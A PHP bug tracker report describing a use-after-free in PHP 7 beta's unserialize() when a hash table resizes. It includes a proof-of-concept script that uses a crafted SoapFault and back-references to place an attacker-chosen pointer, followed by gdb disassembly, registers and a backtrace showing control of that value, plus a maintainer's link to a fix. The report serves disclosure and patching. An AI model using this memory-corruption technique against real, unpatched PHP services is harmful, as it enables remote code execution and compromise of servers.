Edit report at https://bugs.php.net/bug.php?id=70211&edit=1
ID: 70211
Updated by: laruence@php.net
Reported by: niubl at knownsec dot com
Summary: php 7 ZEND_HASH_IF_FULL_DO_RESIZE use after free
Status: Open
Type: Bug
Package: SOAP related
Operating System: ubuntu 14.04 x86_64
PHP Version: 7.0.0beta3
-Assigned To:
+Assigned To: laruence
Block user comment: N
Private report: N
New Comment:
an fix could be: https://gist.github.com/laruence/3aad977c46c3eee715f4
Previous Comments:
------------------------------------------------------------------------
[2015-08-08 02:09:06] niubl at knownsec dot com
Description:
------------
the Hash table is full, resize it,ZEND_HASH_IF_FULL_DO_RESIZE(ht),but if one elment is already
allocate in the old memery and re-allocate in the new memry and the var_hash struct also exists the
old memery for the element, it can cause a use after free when unserialize() function has r/R
referer.
my english is poor. i hope i can explain clearly to you.
Test script:
---------------
<?php
$addr = 0x4141414141414141;
$sf = new SoapFault('1', 'string', 'detail',
'header','line', str_repeat("A",232).ptr2str($addr));
$ob = unserialize("a:3:{i:0;".serialize($sf).'i:1;r:12;i:2;r:10;}');
//var_dump($ob);
function ptr2str($ptr)
{
$out = "";
for ($i=0; $i<8; $i++) {
$out .= chr($ptr & 0xff);
$ptr >>= 8;
}
return $out;
}
?>
Actual result:
--------------
(gdb) disassemble $rip
â¦â¦
0x000000000068cfe5 <+3109>: cmp $0xffffffffffffffff,%rsi
0x000000000068cfe9 <+3113>: je 0x68c538 <php_var_unserialize_ex+376>
0x000000000068cfef <+3119>: mov (%rbx),%rdi
0x000000000068cff2 <+3122>: callq 0x4276f3 <var_access>
0x000000000068cff7 <+3127>: test %rax,%rax
0x000000000068cffa <+3130>: je 0x68c538 <php_var_unserialize_ex+376>
0x000000000068d000 <+3136>: mov (%rax),%rdx
0x000000000068d003 <+3139>: mov 0x8(%rax),%eax
0x000000000068d006 <+3142>: test $0x4,%ah
0x000000000068d009 <+3145>: mov %rdx,(%r14)
0x000000000068d00c <+3148>: mov %eax,0x8(%r14)
0x000000000068d010 <+3152>: je 0x68c62c <php_var_unserialize_ex+620>
=> 0x000000000068d016 <+3158>: addl $0x1,(%rdx)
0x000000000068d019 <+3161>: mov $0x1,%eax
0x000000000068d01e <+3166>: jmpq 0x68c53a <php_var_unserialize_ex+378>
0x000000000068d023 <+3171>: nopl 0x0(%rax,%rax,1)
0x000000000068d028 <+3176>: cmp $0x3a,%al
0x000000000068d02a <+3178>: jne 0x68c538 <php_var_unserialize_ex+376>
0x000000000068d030 <+3184>: cmpb $0x22,0x2(%r12)
0x000000000068d036 <+3190>: jne 0x68c538 <php_var_unserialize_ex+376>
0x000000000068d03c <+3196>: lea 0x85e11d(%rip),%rax # 0xeeb160
<zend_standard_class_def>
0x000000000068d043 <+3203>: mov %rbp,%rsi
0x000000000068d046 <+3206>: mov %r14,%rdi
0x000000000068d049 <+3209>: mov %r11,0x10(%rsp)
0x000000000068d04e <+3214>: mov (%rax),%rdx
0x000000000068d051 <+3217>: callq 0x42773c <object_common1>
(gdb) info reg
rax 0x1400 5120
rbx 0x7fffb2f37fe0 140736195690464
rcx 0xb 11
rdx 0x4141414141414141 4702111234474983745
rsi 0x9 9
rdi 0x7f7d6f854820 140176718645280
rbp 0x7fffb2f37fd8 0x7fffb2f37fd8
rsp 0x7fffb2f37e40 0x7fffb2f37e40
r8 0x0 0
r9 0x652ec731c4b 6953224051787
r10 0x79812b 7962923
r11 0x0 0
r12 0x7f7d6f87b2b1 140176718803633
r13 0x72 114
r14 0x7f7d6f85ba60 140176718674528
r15 0x7f7d6f87b2b2 140176718803634
rip 0x68d016 0x68d016 <php_var_unserialize_ex+3158>
eflags 0x10202 [ IF RF ]
cs 0x33 51
ss 0x2b 43
ds 0x0 0
es 0x0 0
fs 0x0 0
gs 0x0 0
(gdb) bt
#0 0x000000000068d016 in php_var_unserialize_ex (rval=rval@entry=0x7f7d6f85ba60,
p=p@entry=0x7fffb2f37fd8, max=max@entry=0x7f7d6f87b2b2 "",
var_hash=var_hash@entry=0x7fffb2f37fe0,
classes=classes@entry=0x0) at
/home/knownsec/Downloads/php-7.0.0beta2/ext/standard/var_unserializer.c:1246
#1 0x000000000068cd03 in process_nested_data (rval=0x7f7d6f85ba60, objprops=0, elements=0,
ht=0x7f7d6f855348, classes=0x0, var_hash=0x7fffb2f37fe0, max=0x7f7d6f87b2b2 "",
p=0x7fffb2f37fd8)
at /home/knownsec/Downloads/php-7.0.0beta2/ext/standard/var_unserializer.c:389
#2 php_var_unserialize_ex (rval=rval@entry=0x7f7d6f812160, p=p@entry=0x7fffb2f37fd8,
max=0x7f7d6f87b2b2 "", var_hash=var_hash@entry=0x7fffb2f37fe0, classes=classes@entry=0x0)
at /home/knownsec/Downloads/php-7.0.0beta2/ext/standard/var_unserializer.c:870
#3 0x000000000067f0ed in zif_unserialize (execute_data=<optimized out>,
return_value=0x7f7d6f812160) at /home/knownsec/Downloads/php-7.0.0beta2/ext/standard/var.c:1037
#4 0x00000000007510ed in ZEND_DO_ICALL_SPEC_HANDLER () at
/home/knownsec/Downloads/php-7.0.0beta2/Zend/zend_vm_execute.h:577
#5 0x00000000007412ab in execute_ex (ex=<optimized out>) at
/home/knownsec/Downloads/php-7.0.0beta2/Zend/zend_vm_execute.h:406
#6 0x000000000078d8ef in zend_execute (op_array=op_array@entry=0x7f7d6f883000,
return_value=return_value@entry=0x0) at
/home/knownsec/Downloads/php-7.0.0beta2/Zend/zend_vm_execute.h:450
#7 0x000000000070473e in zend_execute_scripts (type=type@entry=8, retval=retval@entry=0x0,
file_count=file_count@entry=3) at /home/knownsec/Downloads/php-7.0.0beta2/Zend/zend.c:1399
#8 0x00000000006a7710 in php_execute_script (primary_file=primary_file@entry=0x7fffb2f3a510) at
/home/knownsec/Downloads/php-7.0.0beta2/main/main.c:2475
#9 0x000000000078f163 in do_cli (argc=2, argv=0xff39f0) at
/home/knownsec/Downloads/php-7.0.0beta2/sapi/cli/php_cli.c:971
#10 0x000000000042c520 in main (argc=2, argv=0xff39f0) at
/home/knownsec/Downloads/php-7.0.0beta2/sapi/cli/php_cli.c:1338
------------------------------------------------------------------------
--
Edit this bug report at https://bugs.php.net/bug.php?id=70211&edit=1